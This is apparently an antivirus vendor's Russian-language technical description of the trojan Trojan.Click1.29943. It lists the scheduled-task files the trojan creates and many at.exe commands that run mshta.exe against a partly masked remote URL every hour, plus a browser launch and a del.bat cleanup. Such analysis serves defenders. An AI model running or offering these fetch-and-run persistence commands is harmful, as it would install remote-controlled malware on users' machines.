Trojan.Click1.29943

Техническая информация

Для обеспечения автозапуска и распространения:

Создает или изменяет следующие файлы:

%WINDIR%\Tasks\At16.job
%WINDIR%\Tasks\At17.job
%WINDIR%\Tasks\At18.job
%WINDIR%\Tasks\At13.job
%WINDIR%\Tasks\At14.job
%WINDIR%\Tasks\At15.job
%WINDIR%\Tasks\At22.job
%WINDIR%\Tasks\At23.job
%WINDIR%\Tasks\At24.job
%WINDIR%\Tasks\At19.job
%WINDIR%\Tasks\At20.job
%WINDIR%\Tasks\At21.job
%WINDIR%\Tasks\At4.job
%WINDIR%\Tasks\At5.job
%WINDIR%\Tasks\At6.job
%WINDIR%\Tasks\At1.job
%WINDIR%\Tasks\At2.job
%WINDIR%\Tasks\At3.job
%WINDIR%\Tasks\At10.job
%WINDIR%\Tasks\At11.job
%WINDIR%\Tasks\At12.job
%WINDIR%\Tasks\At7.job
%WINDIR%\Tasks\At8.job
%WINDIR%\Tasks\At9.job

Вредоносные функции:

Запускает на исполнение:

'<SYSTEM32>\at.exe' 16:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'<SYSTEM32>\at.exe' 17:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'<SYSTEM32>\at.exe' 18:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'<SYSTEM32>\at.exe' 13:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'<SYSTEM32>\at.exe' 14:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'<SYSTEM32>\at.exe' 15:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'<SYSTEM32>\at.exe' 19:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'<SYSTEM32>\at.exe' 23:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'%PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE' http://se####webinfo.net/key.php
'<SYSTEM32>\cmd.exe' /c ""<Текущая директория>\del.bat" "
'<SYSTEM32>\at.exe' 20:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'<SYSTEM32>\at.exe' 21:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'<SYSTEM32>\at.exe' 22:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'<SYSTEM32>\at.exe' 12:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'<SYSTEM32>\at.exe' 02:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'<SYSTEM32>\at.exe' 03:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'<SYSTEM32>\at.exe' 04:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'<SYSTEM32>\at.exe' /Delete /Yes
'<SYSTEM32>\at.exe' 00:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'<SYSTEM32>\at.exe' 01:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'<SYSTEM32>\at.exe' 05:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'<SYSTEM32>\at.exe' 09:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'<SYSTEM32>\at.exe' 10:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'<SYSTEM32>\at.exe' 11:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'<SYSTEM32>\at.exe' 06:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'<SYSTEM32>\at.exe' 07:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########
'<SYSTEM32>\at.exe' 08:34 /every:M,T,W,Th,F,S,Su mshta.exe http://fi###tbill.com/idebil.php?sd##########

Изменения в файловой системе:

Создает следующие файлы:

%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\key[1].php
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\key[1].php
<Текущая директория>\del.bat

Удаляет следующие файлы: